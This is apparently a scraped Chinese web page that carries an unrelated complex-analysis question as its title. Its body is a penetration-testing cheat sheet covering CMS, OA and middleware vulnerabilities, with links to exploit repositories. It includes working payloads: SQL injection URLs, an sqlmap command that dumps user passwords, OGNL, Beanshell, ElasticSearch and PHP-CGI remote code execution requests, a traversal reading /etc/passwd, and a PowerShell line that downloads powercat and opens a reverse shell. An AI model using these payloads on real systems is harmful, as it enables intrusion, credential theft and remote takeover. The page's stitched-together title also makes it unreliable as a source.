设 f(z)的导数=(zRez/(2+|z|) 试问limf(z)的导数是否存在?若存在,试求出它的值.

来源：蜘蛛抓取(WebSpider) 时间：2023-03-22 03:22 标签： 设函数fz在z平面解析

免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
各类论坛/CMS框架
dedeCMS
Discuz
Drupal
ECshop
Joomla
MetInfo
ThinkCMF
ThinkPHP
WordPress
YxCMS
zcncms
泛微
致远
通达
框架和中间件
ActiveMQ
Dubbo
ElasticSearch
httpd
IIS
JBOSS
PHP
Resin
RocketMQ
shiro
Solr
Spring
Struts2
Tomcat
Weblogic
组件
编辑器
ewebeditor
FCKeditor
kindeditor
ueditor
序列化
fastjson
Jackson
Xstream
其他
Ghostscript
webuploader
服务
Aria2
Confluence
Coremail
Crowd
Harbor
Jenkins
Jira
Jupyter
Nexus
noVNC
phpMyAdmin
PHP-FPM
Smartbi
Supervisord
Webmin
zabbix
什么是 CMS
内容管理系统 (CMS) 是一种存储所有数据 (如文本,照片,音乐,文档等) 并在您的网站上提供的软件. 它有助于编辑,发布和修改网站的内容.
工具包
SecWiki/CMS-Hunter - CMS漏洞测试用例集合
Q2h1Cg/CMS-Exploit-Framework - 一款 CMS 漏洞利用框架，通过它可以很容易地获取、开发 CMS
漏洞利用插件并对目标应用进行测试。
Lucifer1993/AngelSword - Python3编写的CMS漏洞检测框架
foospidy/web-cve-tests - A simple framework for sending test payloads for known web
CVEs.
dedeCMS
官网 : http://www.dedecms.com/
工具
lengjibo/dedecmscan - 织梦全版本漏洞扫描工具
文章
解决DEDECMS历史难题--找后台目录
Discuz
Discuz
官网 : https://www.discuz.net/forum.php
文章
Discuz!X 前台任意文件删除漏洞深入解析
Discuz!因Memcached未授权访问导致的RCE
Discuz!X 个人账户删除漏洞
Discuz!x3.4后台文件任意删除漏洞分析
DiscuzX v3.4 排行页面存储型XSS漏洞 分析
CVE-2018-14729
Discuz!ML
官网 : https://discuz.ml/
discuzml-v-3-x-code-injection-vulnerability
POC
Payload
exp
theLSA/discuz-ml-rce
CVE-2019-13956
Drupal
官网 : https://www.drupal.org/
存在该环境的靶场
DC: 1
DC: 7
DC: 8
CVE-2014-3704 “Drupalgeddon” SQL 注入漏洞
CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞
简介
2017年6月21日,Drupal 官方发布了一个编号为 CVE-2017- 6920 的漏洞,影响为 Critical.这是 Drupal Core 的 YAML 解析器处理不当所导致的一个远程代码执行漏洞,影响 8.x 的 Drupal Core.
影响版本
Drupal 8.x
文章
CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞 (CVE-2017-6920)
CVE-2018-7600 Drupal Drupalgeddon 2 远程代码执行漏洞
CVE-2018-7602 远程代码执行漏洞
影响版本
Drupal 7.x
Drupal 8.x
POC
Payload
exp
Drupal 远程代码执行漏洞（CVE-2018-7602）
CVE-2018-7600/drupa7-CVE-2018-7602.py
CVE-2019-6339 远程代码执行漏洞
简介
phar 反序列化 RCE
影响版本
Drupal 7.0 ~ 7.62
Drupal 8.5.0 ~ 8.5.9
Drupal 8.6.0 ~ 8.6.6
文章
Drupal 1-click to RCE 分析
POC
Payload
exp
https://vulhub.org/#/environments/drupal/CVE-2019-6339/
CVE-2019-6341 XSS
ECshop
官网 : http://www.ecshop.com/
ECShop 是一款 B2C 独立网店系统,适合企业及个人快速构建个性化网上商店.系统是基于 PHP 语言及 MYSQL 数据库构架开发的跨平台开源程序.
ECShop 2.x/3.x SQL 注入/任意代码执行漏洞
简介
其2017年及以前的版本中,存在一处 SQL 注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞.其 3.6.0 最新版已修复该漏洞.
影响版本
ECShop 2.x/3.x
文章
ECShop 2.x/3.x
SQL注入/任意代码执行漏洞
ecshop2.x 代码执行
Joomla
官网 : https://www.joomla.org/
存在该环境的靶场
DC: 3
工具
rezasp/joomscan - 效果很差,没啥用
CVE-2017-8917 Joomla! 3.7 Core SQL 注入
简介
Joomla 于5月17日发布了新版本 3.7.1,本次更新中修复一个高危SQL注入漏洞,成功利用该漏洞后攻击者可以在未授权的情况下进行 SQL 注入。
影响版本
joomla 3.7.0
文章
Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析
POC
Payload
exp
http://你的 IP 地址:端口号/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
sqlmap payload
sqlmap -u "http://192.168.1.1/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' -C name,password --dump
MetInfo
官网: https://www.metinfo.cn/
文章
MetInfo5.3.19安装过程过滤不严导致Getshell
MetInfo6.0.0漏洞集合(一)
MetInfo6.1.0 漏洞(二)
Metinfo 6.1.2 SQL注入
metinfo最新版本后台getshell
Metinfo7的一些鸡肋漏洞
Metinfo7.0 SQL Blind Injection
CVE-2018-13024
ThinkCMF
官网: https://www.thinkcmf.com/
ThinkCMF 任意内容包含漏洞
POC
Payload
exp
jas502n/ThinkCMF_getshell
ThinkPHP
官网: http://www.thinkphp.cn/
<5
文章
thinkphp一些版本的通杀漏洞payload
代码审计
ThinkPHP3.x、5.x框架任意文件包含
Thinkphp2.1爆出重大安全漏洞
ThinkPHP3.2.3框架实现安全数据库操作分析
ThinkPHP-漏洞分析集合
ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)
Thinkphp框架 3.2.x sql注入漏洞分析
日志泄露
/Application/Runtime/Logs/Home/16_09_06.log # 其中 Application 可能会变，比如 App
/Runtime/Logs/Home/16_09_06.log # 年份_月份_日期
/Runtime/Logs/User/16_09_06.log # 年份_月份_日期
whirlwind110/tphack - Thinkphp3/5 Log文件泄漏利用工具
5
文章
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用 (GetShell)
代码审计
ThinkPHP3.x、5.x框架任意文件包含
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
ThinkPHP v5.1.22曝出SQL注入漏洞
ThinkPHP-漏洞分析集合
ThinkPHP 5.1.x SQL注入漏洞分析
ThinkPHP框架 < 5.0.16 sql注入漏洞分析
ThinkPHP 5.x 远程命令执行漏洞利用过程
ThinkPHP漏洞总结
工具
Lucifer1993/TPscan - 一键 ThinkPHP 漏洞检测
theLSA/tp5-getshell - thinkphp5 rce 漏洞检测工具
资源
Mochazz/ThinkPHP-Vuln - 关于ThinkPHP框架的历史漏洞分析集合
SkyBlueEternal/thinkphp-RCE-POC-Collection - thinkphp v5.x
远程代码执行漏洞-POC集合
日志泄露
/runtime/log/202004/1.log
# 年月/数字
whirlwind110/tphack - Thinkphp3/5 Log文件泄漏利用工具
WordPress
官网 : https://wordpress.org/
WordPress 是一个开源的内容管理系统(CMS),允许用户构建动态网站和博客.
存在该环境的靶场
DC: 2
DC: 6
symfonos1-WalkThrough
搭建教程
WordPress 搭建
Tips
默认的登录地址一般是 /wp-admin 或 /wp-login.php
工具
插件漏洞
WordPress Plugin Mail Masta 1.0 - Local File Inclusion
https://www.exploit-db.com/exploits/40290
CVE-2019-8942 & CVE-2019-8943 WordPress Crop-image Shell Upload
WordPress <= 5.3.? DoS
POC
Payload
exp
wordpress-dos-poc
YxCMS
官网 : http://www.yxcms.net
常见路径
/index.php?r=admin
# 后台
默认管理员账号密码 admin 123456
YxCMS 1.4.7 多个漏洞
文章
YxCMS 1.4.7 最新版漏洞分析
zcncms
文章
zcncms多个漏洞-Musec
ZCNCMS审计及漏洞分析
代码审计——zcncms后台SQL注入(一)
代码审计——zcncms几处漏洞合集(二)
泛微
官网 : https://www.weaver.com.cn/
文章
应用安全 - 软件漏洞 - 泛微OA漏洞汇总
指纹
Set-Cookie: ecology_JSessionId=
ecology
敏感文件泄露
/messager/users.data
/plugin/ewe/jsp/config.jsp
路径遍历
/plugin/ewe/admin/upload.jsp?id=11&dir=../../../
/weaver/weaver.file.SignatureDownLoad?markId=1+union+select+'../ecology/WEB-INF/prop/weaver.properties'
E-Mobile 4.5 RCE
**.**.**.**/verifyLogin.do
data：loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${@**.**.**.**.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream())}
http://**.**.**.**/verifyLogin.do
data:
loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**:89/verifyLogin.do
data:
loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
**.**.**.**/verifyLogin.do
data:
loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**/verifyLogin.do
data:
loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**/verifyLogin.do
data:
loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
e-mobile < 6.5 Ognl 表达式注入
e-cology OA Beanshell 组件远程代码执行
文章
[漏洞预警]泛微e-cology OA Beanshell组件远程代码执行分析
泛微e-cology OA Beanshell组件远程代码执行漏洞复现
POC
Payload
exp
jas502n/e-cology
/weaver/bsh.servlet.BshServlet
eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");
泛微多数都是windows环境, 反弹shell可以使用pcat
powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd
ecology8_mobile_sql_inject
POC
Payload
exp
ecology8_mobile_sql_inject
SSV-98083
泛微 e-cology OA 前台SQL注入
POC
Payload
exp
AdministratorGithub/e-cology-OA-SQL
泛微 OA WorkflowCenterTreeData 接口注入漏洞(限 oracle 数据库)
泛微 ecology OA 系统接口存在数据库配置信息泄露漏洞
文章
泛微ecology OA数据库配置信息泄露漏洞复现
POC
Payload
exp
jas502n/DBconfigReader
NS-Sp4ce/Weaver-OA-E-cology-Database-Leak
致远
官网 : http://www.seeyon.com/
指纹
/seeyon/htmlofficeservlet
/seeyon/index.jsp
seeyon
致远OA A6 test.jsp sql注入漏洞
致远OA帆软报表组件前台XXE漏洞
文章
致远OA帆软报表组件前台XXE漏洞(0day)挖掘过程
帆软报表v8.0 Getshell漏洞
文章
帆软报表v8.0 Getshell漏洞分析
A8-OA-seeyon-RCE
文章
致远A8协同办公系统poc/seeyon 0day
POC
Payload
exp
RayScri/A8-OA-seeyon-RCE
通达
官网 : https://www.tongda2000.com/
指纹
tongda.ico
Office Anywhere 20xx版 网络智能办公系统
/ispirit/interface/gateway.php
通达OA 任意用户登录漏洞
影响版本
通达OA 2017
通达OA V11.X--V11.5
文章
通达OA < 11.5任意用户登录漏洞分析
通达OA 任意用户登录漏洞（匿名RCE）分析
POC
Payload
exp
NS-Sp4ce/TongDaOA-Fake-User
通达OA 任意文件上传漏洞+本地文件包含漏洞
POC
Payload
exp
jas502n/OA-tongda-RCE
文章
中间件漏洞合集
2020攻防演练弹药库-您有主机上线请注意
工具包
1120362990/vulnerability-list - 在渗透测试中快速检测常见中间件、组件的高危漏洞.
hatRiot/clusterd - application server attack toolkit
matthiaskaiser/jmet - Java Message Exploitation Tool
ActiveMQ
官网 : https://activemq.apache.org/
Apache ActiveMQ 是美国阿帕奇 (Apache) 软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework 等.
搭建教程
ActiveMQ 搭建
CVE-2015-1830 Apache ActiveMQ 5.11.1 Directory Traversal / Shell Upload
CVE-2015-5254 ActiveMQ 反序列化漏洞
CVE-2016-3088 ActiveMQ 任意文件写入漏洞
简介
ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,其中 admin 是管理员页面,api 是接口,fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录.
fileserver 是一个 RESTful API 接口,我们可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ 在 5.12.x~5.13.x 版本中,已经默认关闭了 fileserver 这个应用 (你可以在 conf/jetty.xml 中开启之) ;在 5.14.0 版本以后,彻底删除了 fileserver 应用.
影响版本
Apache ActiveMQ < 5.12.x
文章
ActiveMQ任意文件写入漏洞
(CVE-2016-3088)
CVE-2017-15709
POC
Payload
exp
telnet ip 61616
Dubbo
官网 : https://dubbo.apache.org/zh-cn/
Apache Dubbo 是一款高性能、轻量级的开源 Java RPC 框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。
工具
threedr3am/dubbo-exp - Dubbo 反序列化一键快速攻击测试工具，支持 dubbo 协议和 http 协议，支持 hessian 反序列化和 java
原生反序列化。
CVE-2019-17564 pache Dubbo 反序列化漏洞
文章
漏洞复现|Dubbo反序列化漏洞CVE-2019-17564
[漏洞分析]CVE-2019-17564/Apache Dubbo存在反序列化漏洞
ElasticSearch
官网 : https://www.elastic.co/
ElasticSearch 是一个基于 Lucene 的搜索服务器.它提供了一个分布式多用户能力的全文搜索引擎,基于 RESTful web 接口.Elasticsearch 是用 Java 开发的,并作为 Apache 许可条款下的开放源码发布,是当前流行的企业级搜索引擎.
未授权访问漏洞
http://<ip>:9200
http://<ip>:9200/_plugin/head/ web管理界面
http://<ip>:9200/hello/_search?pretty&size=50&from=50
http://<ip>:9200/_cat/indices
http://<ip>:9200/_river/_search 查看数据库敏感信息
http://<ip>:9200/_nodes 查看节点数据
http://<ip>:9200/_cat/indices?v 查看当前节点的所有 Index
http://<ip>:9200/_search?pretty=true 查询所有的 index, type
CVE-2014-3120 ElasticSearch 命令执行漏洞
简介
老版本 ElasticSearch 支持传入动态脚本 (MVEL) 来执行一些复杂的操作,而 MVEL 可执行 Java 代码,而且没有沙盒,所以我们可以直接执行任意代码.
影响版本
ElasticSearch 1.1.1
POC
Payload
exp
来源: ElasticSearch 命令执行漏洞 (CVE-2014-3120) 测试环境
首先,该漏洞需要 es 中至少存在一条数据,所以我们需要先创建一条数据:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
然后,执行任意代码:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
CVE-2015-1427 Groovy 沙盒绕过 && 代码执行漏洞
简介
CVE-2014-3120 后，ElasticSearch 默认的动态脚本语言换成了 Groovy，并增加了沙盒，但默认仍然支持直接执行动态语言。
影响版本
ElasticSearch < 1 .3.7
ElasticSearch 1.4.0 ~ 1.4.2
文章
Remote Code Execution in
Elasticsearch - CVE-2015-1427
POC
Payload
exp
来源: ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞
(CVE-2015-1427) 测试环境
由于查询时至少要求 es 中有一条数据,所以发送如下数据包,增加一个数据:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
然后发送包含 payload 的数据包,执行任意命令:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
CVE-2015-3337 目录穿越漏洞
简介
在安装了具有"site"功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件.没有安装任意插件的 elasticsearch 不受影响.
影响版本
ElasticSearch < 1.4.4
ElasticSearch 1.5.0 ~ 1.5.1
POC
Payload
exp
来源: https://vulhub.org/#/environments/elasticsearch/CVE-2015-3337/
CVE-2015-5531
简介
elasticsearch 1.5.1 及以前,无需任何配置即可触发该漏洞.之后的新版,配置文件 elasticsearch.yml 中必须存在 path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置.不配置该值,默认不启动这个功能.
影响版本
ElasticSearch < 1.6.0
文章
Elasticsearch目录遍历漏洞 (CVE-2015-5531) 复现与分析 (附PoC)
POC
Payload
exp
来源: https://vulhub.org/#/environments/elasticsearch/CVE-2015-5531/
新建一个仓库
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
创建一个快照
PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
目录穿越读取任意文件
http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
在错误信息中包含文件内容 (编码后) ,对其进行解码即可获得文件
httpd
CVE-2007-6750 Apache ddos
CVE-2017-15715 Apache解析漏洞
文章
利用最新Apache解析漏洞（CVE-2017-15715）绕过上传黑名单
CVE-2019-0211 Apache HTTP 服务组件提权漏洞
文章
Apache 提权漏洞(CVE-2019-0211)复现
POC
Payload
exp
CVE-2019-0211-apache
IIS
IIS shortname
简介
windows 在创建一个新文件时,操作系统还会生成 8.3 格式的兼容 MS-DOS 的(短)文件名,以允许基于 MS-DOS 或16位 windows 的程序访问这些文件.
修复方案
升级 .net framework 至 4.0 版本或以上
修改 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 值 NtfsDisable8dot3NameCreation 为 1
文章
IIS短文件名漏洞
IIS短文件名泄露漏洞修复
IIS短文件/文件夹漏洞(汇总整理)
POC
Payload
exp
1. http://www.xxx.com/*~1*/.aspx
2. http://www.xxx.com/l1j1e*~1*/.aspx
# 若1返回404而2返回400,则可以判断目标站点存在漏洞.
http://www.xxx.com/a*~1*/.aspx
# 若存在将返回404,不存在则返回400.以此类推,不断向下猜解所有的6个字符.
Windows Server 2008 R2
查询是否开启短文件名功能:fsutil 8dot3name query
关闭该功能:fsutil 8dot3name set 1
Windows Server 2003
关闭该功能:fsutil behavior set disable8dot3 1
lijiejie/IIS_shortname_Scanner
irsdl/IIS-ShortName-Scanner
.Net Framework 拒绝服务攻击
简介
当请求文件夹名称包含 ~1 的请求,会导致不存在该文件的 .Net Framework 去递归查询所有根目录.如果只有一个"~1"是无效的,当"~1"大于一个,比如像这样:
/wwwtest/fuck~1/~1/~1/~1.aspx
此时文件系统会这样调用:
\wwwtest
SUCCESS
\wwwtest\fuck~1\~1\~1\~1
PATH NOT FOUND
\wwwtest\fuck~1
NAME NOT FOUND
\wwwtest\fuck~1\~1\
PATH NOT FOUND
\wwwtest\fuck~1\~1\~1\
PATH NOT FOUND
\wwwtest\fuck~1\~1\~1\~1.aspx
PATH NOT FOUND
\wwwtest\fuck~1\~1\~1\~1.aspx
PATH NOT FOUND
\wwwtest\fuck~1\~1\~1
PATH NOT FOUND
\wwwtest\fuck~1\~1\~1\~1.aspx
PATH NOT FOUND
\wwwtest\fuck~1\~1\~1
PATH NOT FOUND
\wwwtest\fuck~1\~1
PATH NOT FOUND
\wwwtest\fuck~1
NAME NOT FOUND
\wwwtest
SUCCESS
\wwwtest
SUCCESS
如果我们请求的文件/文件夹名同时存在大小写时,这个请求会被请求两次,一次是原封不动的请求,一次是全部使用小写的请求.
下表显示了每个请求的 FS 调用的数量(Windows 2008 R2, IIS 7.5(latest patch – June 2012), and .Net framework 4.0.30319 (在别的系统下可能会不同))
CVE-2017-7269 IIS6.0 RCE
JBOSS
官网 : http://www.jboss.org/
工具
joaomatosf/jexboss - JBoss(和其他Java反序列化漏洞)验证和利用工具
未授权访问漏洞
CVE-2016-7065 Red Hat JBoss EAP - Deserialization of Untrusted Data
CVE-2017-12149 JBoss 5.x/6.x 反序列化漏洞
PHP
CVE-2012-1823 PHPCGI 远程代码执行漏洞
简介
5.3.12 之前和 5.4.2 之前的 5.4.x 中的 sapi/cgi/cgi_main.c 在配置为 CGI 脚本（aka php-cgi）时，不能正确处理缺少=（等号）字符的查询字符串 ，它允许远程攻击者通过在查询字符串中放置命令行选项来执行任意代码，这与在"d"情况下缺少跳过某些 php_getopt 有关。
影响版本
php < 5.3.12
php < 5.4.2
文章
PHP-CGI远程代码执行漏洞 (CVE-2012-1823) 分析
POC
Payload
exp
来源: https://vulhub.org/#/environments/php/CVE-2012-1823/
http://你的 IP 地址:端口号/index.php?-s 即爆出源码
发送如下数据包,可见 Body 中的代码已被执行:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
MSF Module
use exploit/multi/http/php_cgi_arg_injection
CVE-2018-19518 PHP imap 远程命令执行漏洞
简介
php imap 扩展用于在 PHP 中执行邮件收发操作.其 imap_open 函数会调用 rsh 来连接远程 shell,而 debian/ubuntu 中默认使用 ssh 来代替 rsh 的功能 (也就是说,在 debian 系列系统中,执行 rsh 命令实际执行的是 ssh 命令) .
因为 ssh 命令中可以通过设置 -oProxyCommand= 来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞.
影响版本
php 5.6.0 ~ 5.6.38
php 7.0.0 ~ 7.0.32
php 7.1.0 ~ 7.1.24
php 7.2.0 ~ 7.2.12
POC
Payload
exp
PHP imap 远程命令执行漏洞 (CVE-2018-19518)
CVE-2019-11043 PHP-FPM 远程代码执行漏洞
简介
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞.
在使用一些有错误的 Nginx 配置的情况下,通过恶意构造的数据包,即可让 PHP-FPM 执行任意代码.
影响版本
php 7.1.0 ~ 7.1.33
php 7.2.0 ~ 7.2.24
php 7.3.0 ~ 7.3.11
POC
Payload
exp
PHP-FPM 远程代码执行漏洞 (CVE-2019-11043)
neex/phuip-fpizdam
LFI with phpinfo
简介
PHP 文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来 getshell.因为临时文件名是随机的,如果目标网站上存在 phpinfo,则可以通过 phpinfo 来获取临时文件名,进而进行包含.
POC
Payload
exp
PHP文件包含漏洞 (利用phpinfo)
LFI with phpinfo
PHP 环境 XML 外部实体注入漏洞 (XXE)
XDebug 远程调试漏洞 (代码执行)
简介
XDebug 是 PHP 的一个扩展,用于调试 PHP 代码.如果目标开启了远程调试模式,并设置 remote_connect_back = 1:
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下,我们访问 http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的 XDebug 将会连接访问者的 IP (或 X-Forwarded-For 头指定的地址) 并通过 dbgp 协议与其通信,我们通过 dbgp 中提供的 eval 方法即可在目标服务器上执行任意 PHP 代码.
POC
Payload
exp
XDebug 远程调试漏洞 (代码执行)
Resin
官网 : https://caucho.com/
文章
针对Resin服务的攻击向量整理
Resin 任意文件读取漏洞
文章
Resin任意文件读取漏洞
RocketMQ
Tips
4.0.x ~ 4.3.x 存在 fastjson 1.2.29
shiro
官网 : https://shiro.apache.org/
Apache Shiro 是一个功能强大且灵活的开源安全框架,主要功能包括用户认证、授权、会话管理以及加密.
shiro 的漏洞参考 https://issues.apache.org/jira/projects/SHIRO/issues
文章
Apache Shiro回显poc改造计划
关于Shiro反序列化漏洞的延伸—升级shiro也能被shell
Shiro 100 Key
工具
sv3nbeast/ShiroScan - Shiro<=1.2.4反序列化,一键检测工具
wyzxxz/shiro_rce - shiro rce 反序列 命令执行 一键工具
feihong-cs/ShiroExploit_GUI - shiro550/721漏洞检测工具GUI版本
指纹
set-Cookie: rememberMe=deleteMe
SHIRO-550 & CVE-2016-4437
Shiro RememberMe 1.2.4 反序列化漏洞
https://issues.apache.org/jira/projects/SHIRO/issues/SHIRO-550
简介
shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化.然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
影响版本
1.2.4(由于密钥泄露的问题, 部分高于 1.2.4 版本的 Shiro 也会受到影响)
文章
【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
POC
Payload
exp
jas502n/SHIRO-550
SHIRO-721
Shiro RememberMe Padding Oracle Vulnerability RCE
https://issues.apache.org/jira/browse/SHIRO-721
简介
cookie 的 cookiememeMe 已通过 AES-128-CBC 模式加密，这很容易受到填充 oracle 攻击的影响。
攻击者可以使用有效的 RememberMe cookie 作为 Padding Oracle Attack 的前缀，然后制作精心制作的 RememberMe 来执行 Java 反序列化攻击。
影响版本
1.2.5 ~ 1.2.6
1.3.0 ~ 1.3.2
1.4.0-RC2 ~ 1.4.1
文章
Shiro 721 Padding Oracle攻击漏洞分析
Apache Shiro 远程代码执行漏洞复现
POC
Payload
exp
3ndz/Shiro-721
jas502n/SHIRO-721
SHIRO-682 & CVE-2020-1957
Shiro 权限绕过漏洞
Solr
官网 : https://lucene.apache.org/solr/
Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理.
Solr 的漏洞参考 https://issues.apache.org/jira/projects/SOLR/issues
资源
Imanfeng/Apache-Solr-RCE - Solr RCE 整理
veracode-research/solr-injection - Apache Solr 注入研究
CVE-2017-12629 Apache solr XML 实体注入漏洞
简介
原理大致是文档通过 Http 利用 XML 加到一个搜索集合中.查询该集合也是通过 http 收到一个 XML/JSON 响应来实现.此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞 (XXE) 和远程命令执行漏洞 (RCE) ,二者可以连接成利用链,编号均为 CVE-2017-12629.
影响版本
Apache solr 5.5.0 ~ 5.5.4
Apache solr 6.0.0 ~ 6.6.1
Apache solr 7.0.0 ~ 7.0.1
文章
Apache solr XML 实体注入漏洞 (CVE-2017-12629)
Apache Solr 远程命令执行漏洞 (CVE-2017-12629)
CVE-2019-0192 Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5
https://issues.apache.org/jira/browse/SOLR-13301
简介
ConfigAPI 允许通过 HTTP POST 请求配置 Solr 的 JMX 服务器。通过将其指向恶意的 RMI 服务器，攻击者可以利用 Solr 的不安全反序列化功能在 Solr 端触发远程代码执行。
影响版本
Apache solr 5.0.0 ~ 5.5.5
Apache solr 6.0.0 ~ 6.6.5
POC
Payload
exp
https://github.com/mpgn/CVE-2019-0192/
CVE-2019-0193 Apache Solr 远程命令执行漏洞
简介
此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置.由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行.
影响版本
Apache solr < 8.2.0
文章
Apache Solr 远程命令执行漏洞 (CVE-2019-0193)
Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析
POC
Payload
exp
jas502n/CVE-2019-0193
CVE-2019-12409
POC
Payload
exp
jas502n/CVE-2019-12409
CVE-2019-17558 Apache Solr Velocity 模版注入远程命令执行漏洞
Spring
官网 : https://spring.io/
指纹
X-Application-Context:
Spring Boot Actuators
Exploiting Spring Boot Actuators
Spring Boot Actuators配置不当导致RCE漏洞复现
mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE
CVE-2016-4977 Spring Security OAuth2 远程命令执行漏洞
简介
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块.在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令.
影响版本
spring_security_oauth 1.0.0 ~ 1.0.5
spring_security_oauth 2.0.0 ~ 2.0.9
POC
Payload
exp
来源: https://vulhub.org/#/environments/spring/CVE-2016-4977/
vulhub/spring/CVE-2016-4977/poc.py
